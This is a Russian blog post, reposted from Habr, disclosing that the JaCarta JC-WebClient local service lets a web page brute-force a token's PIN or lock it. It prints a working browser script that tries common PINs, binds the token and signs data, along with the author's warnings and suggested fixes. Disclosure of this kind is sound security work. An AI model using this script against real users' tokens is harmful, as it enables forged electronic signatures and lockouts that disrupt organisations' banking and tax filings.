» » Тестируем JaCarta WebClient или храните токены в сейфе

 

Тестируем JaCarta WebClient или храните токены в сейфе

Автор: admin от 11-02-2019, 11:30, посмотрело: 21

[i]"Когда на мгновение чёрный покров отнесло в сторону, Маргарита на скаку обернулась и увидела, что сзади нет не только разноцветных башен с разворачиващимся над ними аэропланом, но нет уже давно и самого города, который ушёл в землю и оставил по себе только туман."[/i]

М.А. Булгаков

"Мастер и Маргарита"



Привет, Хабр!



Наверное почти в каждой российской организации есть эти изделия в весёлой разноцветной раскраске.



Речь идёт об изделиях JaCarta и софте к ним.



Привалило такое счастье и мне, и я решил немного раздвинуть чёрный покров скрывающий их сущность, сиречь API.



Некоторые банки, особенно выдающие своим клиентам токены JaCarta ГОСТ-2, для работы требуют установки приложения JC-WebClient от "Аладдин Р.Д.".



Хотя на официальном сайте разработчика свежего дистрибутива нет (в разделе Демо можно скачать более старую версию, но она использует устаревший API), дистрибутив можно найти с помощью гугла по строке "JC-WebClient-4.0.0.1186" на сайтах ДБО.



После установки приложения на компе пользователя открывается порт 24738 на котором работает этот клиент.



https://localhost:24738/JCWebClient.js



На сайте разработчика открыто и подробно описан API этого приложения (как и функции работы с файловой системой всей линейки токенов этого производителя через jcFS.dll, входящей в установочный пакет "Единый клиент JaCarta") и суть в том, что с помощью ряда функций можно или подписать ЭЦП находящейся на токене что угодно, подобрав пин код, или заблокировать токен неудачными попытками его ввода. И всё это дистанционно, через интернет.

пример здесь уже давался), но попытаться подобрать пин код и подписать какие-либо данные и куда-то их отправить.



В случае 10 неудачных попыток перебора токен блокируется, и как часто это бывает, если не установлен пин код администратора для разблокировки, то поможет только инициализация. А это не в срок уплаченные налоги (и как результат пени и даже блокировка расчётного счёта организации налоговой), неустойки от поставщиков, в общем хорошего мало.



Тестируем JaCarta WebClient или храните токены в сейфе

Проблему с перебором пин кода можно было бы решить или сделав возможность его ввода только через интерфейсное окно JC-WebClient, или как полумера, в случае например 3-х неудачных попыток его ввода, блокировать дальнейшую авторизацию, выведя сообщение пользователю, и ожидать пока он не подтвердит свои действия.



Я написал небольшой тестовый скрипт, который показывает эту уязвимость. Скрипт работает на всех современных и относительно современных браузерах, даже IE :)



Естественно он ничего никуда не отправляет, а просто выводит на экран результаты работы последовательности функций.



В скрипте реализован полный перебор 10 попыток ввода пин кода "на убой" токена, поэтому запускать скрипт можно только с тестовым токеном!



Также следует помнить, что применение этого скрипта иначе кроме как на собственном тестовом токене является нарушением законодательства.



Результат тестирования:



Тестируем JaCarta WebClient или храните токены в сейфе

Скрипт генерации ключевой пары и сертификата средствами JC-WebClient для тестирования.

Использовать можно EToken PRO Java 72 K, JaCarta ГОСТ, JaCarta ГОСТ-2. Токен должен быть предварительно инициализирован с пин кодом пользователя 111111.



Перед началом тестирования необходимо установить JC-WebClient версии не ниже 4.




JCWebClient2.initialize();
document.write("JC-WebClient был успешно инициализирован"+"
");

//Получаем версию JCWebClient2
var vers=JCWebClient2.getJCWebClientVersion();
document.write("Версия JCWebClient2 " + vers +"
");

//Получаем доступ к слотам и определяем число подключенных токенов
var slots = JCWebClient2.getAllSlots();
document.write("Подключено токенов: "+slots.length+"
");

//Выводим модель токенов
for (i = 0; i < slots.length; i++) {
var slot = slots[i];
document.write("Токен: "+slot.device.name+" "+slot.device.model+"
");
}

var tokenID = slot.id, // Идентификатор токена
userPin = '111111'; // PIN-код пользователя

// Проверить текущее состояние аутентификации на токене
// (должно равняться JCWebClient2.Vars.AuthState.notBinded)
var tokenState = JCWebClient2.getLoggedInState();
document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");

// Предъявить PIN-код
JCWebClient2.bindToken({
args: {
tokenID: tokenID,
pin: userPin
}
});

// Проверить изменившееся состояние
// (должно равняться JCWebClient2.Vars.AuthState.binded)
tokenState = JCWebClient2.getLoggedInState();
document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");

// Создать контейнер с ключевой парой и присвоить ему имя
var keyPairID = JCWebClient2.createKeyPair({
args: {
paramSet: "XA",
description: "my description",
algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256
}
});

// Задать отличительное имя пользователя (Distinguished Name (DN)),
// включающее стандартное имя (Common Name, (CN))
var dn = {
'CN': '123',
'C': 'RU'
};

// Задать расширения, определяющие область применения закрытого ключа
var exts = {
'keyUsage': 'Digital Signature'
};

// Записать сертификат
var contID = JCWebClient2.generateUserSelfSignedCertificate({
args: {
keyPairID: keyPairID,
dn: dn,
exts: exts,
days: 365
}
});

//Массив информации на токенах
var list=[];

//Получаем список контейнеров
list = JCWebClient2.getContainerList({
args: {
tokenID: tokenID
}
});

//Получаем id и информацию о созданном контейнере
var data = list[0];
var contID = data.id;
document.write("ID контейнера: "+data.id+"
");
document.write("Описание контейнера: "+data.description+"
");
document.write("Алгоритм подписи: "+data.algorithm+"
");

// Отменить ввод PIN-кода
JCWebClient2.unbindToken();
И собственно сам скрипт аудита безопасности:
```javascript//Инициализация JCWebClient2
JCWebClient2.initialize();
document.write("JC-WebClient был успешно инициализирован"+"
");

//Получаем версию JCWebClient2
var vers=JCWebClient2.getJCWebClientVersion();
document.write("Версия JCWebClient2 " + vers +"
");

//Получаем доступ к слотам и определяем число подключенных токенов
var slots = JCWebClient2.getAllSlots();
document.write("Подключено токенов: "+slots.length+"
");

//Выводим модель токенов
for (i = 0; i < slots.length; i++) {
var slot = slots[i];
document.write("Токен: "+slot.device.name+" "+slot.device.model+"
");
}
// Идентификатор токена
var tokenID = slot.id;

// Проверить текущее состояние аутентификации на токене
// (должно равняться JCWebClient2.Vars.AuthState.notBinded)
var tokenState = JCWebClient2.getLoggedInState();
document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");

//Массив информации на токенах
var list=[];

//Получаем список контейнеров
list = JCWebClient2.getContainerList({
args: {
tokenID: tokenID
}
});

//Получаем id и информацию о контейнере
var data = list[0];
var contID = data.id;
document.write("ID контейнера: "+data.id+"
");
document.write("Описание контейнера: "+data.description+"
");
document.write("Алгоритм подписи: "+data.algorithm+"
");

// Данные для подписи (Hello World закодированное Base64)
var dataToSign = 'SGVsbG8sIFdvcmxkIQ==';
document.write("Данные для подписи: "+dataToSign+"
");

//Массив пин кодов
var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"];

//функция авторизации
function bind(pass)
{
JCWebClient2.bindToken({
args: {
tokenID: tokenID,
pin: pass
}
});
}

var i=0;
//Перебор пин кодов в цикле
//Осторожно! При 10 неверных попытках токен блокируется!!!!!!!!!!
while (i < 10) {
i++;
try{
bind(pin[i]);
tokenState = JCWebClient2.getLoggedInState();
//Если атака удалась, выводим результат и завершаем цикл
if(tokenState.state=1)
{
document.write("Успешно подобран пин код: "+pin[i]+"
");
break;
}
}
//Вывод информации об ошибке
catch(e){document.write(e+"
");}
}

// Проверить изменившееся состояние
// (должно равняться JCWebClient2.Vars.AuthState.binded)
tokenState = JCWebClient2.getLoggedInState();
document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+"
");

//Получаем содерижимое сертификата
var CertificateBody=JCWebClient2.getCertificateBody({
args: {
id: contID
}
});
document.write("CertificateBody: "+CertificateBody+"
");

// Подписать данные, используя программное хэширование и вывести подписанное в Base64
var signedData = JCWebClient2.signBase64EncodedData({
args: {
contID: contID,
data: dataToSign,
attachedSignature: true
}
});
document.write("Подписано успешно.
");
document.write("Подписанные данные: "+signedData+"
");

//Проверка подписи
var signature = signedData;
var res = JCWebClient2.verifyBase64EncodedData({
args: {
signature: signature
}
});
document.write("Результат проверки подписи: "+res+"
");

// Отменить ввод PIN-кода
JCWebClient2.unbindToken();
Источник информации по API JC-WebClient[/code]

Источник: Хабр / Интересные публикации

Категория: Информационная безопасность

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Добавление комментария

Имя:*
E-Mail:
Комментарий:
Полужирный Наклонный текст Подчеркнутый текст Зачеркнутый текст | Выравнивание по левому краю По центру Выравнивание по правому краю | Вставка смайликов Выбор цвета | Скрытый текст Вставка цитаты Преобразовать выбранный текст из транслитерации в кириллицу Вставка спойлера
Введите два слова, показанных на изображении: *